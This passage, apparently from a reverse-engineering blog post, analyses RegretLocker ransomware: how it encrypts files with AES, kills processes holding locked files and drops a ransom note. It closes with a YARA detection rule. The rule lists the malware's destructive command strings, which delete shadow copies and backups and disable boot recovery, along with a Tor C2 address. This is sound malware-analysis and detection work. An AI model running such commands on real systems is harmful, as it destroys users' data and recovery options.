file and folder names inside. If the file is not a folder, it calls the main encrypting function to encrypt it. This function is divided into two condition blocks. If the file size is greater than 104857600 bytes (around 105MB), it is counted as a large file and encrypted with the `encrypt_large_file()` function. If not, RegretLocker proceeds to encrypt it using AES. There is a catch: if the encryption fails, it means the file is running or used by some process. In that case, RegretLocker finds the process currently using this file and attempts to terminate it using the Restart Manager with these API calls: - `RmStartSession`: Start a new session for Restart Manager - `RmRegisterResources`: Register the file to be encrypted as a resource - `RmGetList`: Get the list of applications or services/processes using this resource - `CreateToolhelp32Snapshot`, `Process32FirstW`, and `Process32NextW`: Check all running processes for their ID, comparing with the processes above After getting the processes using the file, it checks for the name. If they match any of the following, they will not be added to the list and closed later: - vnc - ssh - mstsc - System - svchost.exe RegretLocker then builds the command string `taskkill /F /IM \process_name` and runs it with `cmd.exe`, filtering out the process with the given name and terminating it. The ransomware continuously loops until it successfully closes the process, then attempts the encryption again. ### Encryption - AES The core of the encrypting functions is the AES encrypting function. It uses the generated AES key to encrypt the file with a series of calls to `CryptAcquireContextA`, `CryptImportKey`, `CryptSetKeyParam`, and `CryptEncrypt`, which is fairly standard. After encryption, it writes the encrypted buffer back into the file with the new file extension `.mouse`. It also checks the folder path to see if it has created the file `HOW TO RESTORE FILES.TXT` already and creates one if it has not. ## YARA Rule ```yara rule regretlocker { meta: description = "YARA rule for RegretLocker" reference = "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/" author = "@cPeterr" tlp = "white" strings: $str1 = "tor-lib.dll" $str2 = "http://regretzjibibtcgb.onion/input" $str3 = ".mouse" $cmd1 = "taskkill /F /IM \\" $cmd2 = "wmic SHADOWCOPY DELETE" $cmd3 = "wbadmin DELETE SYSTEMSTATEBACKUP" $cmd4 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures" $cmd5 = "bcdedit.exe / set{ default } recoveryenabled No" $func1 = "open_virtual_drive()" $func2 = "smb_scanner()" $checklarge = { 81 fe 00 00 40 06 } condition: all of ($str*) and any of ($cmd*) and any of ($func*) and $checklarge } ``` ## Samples I got my samples from Any.Run and tutorialjinni.com!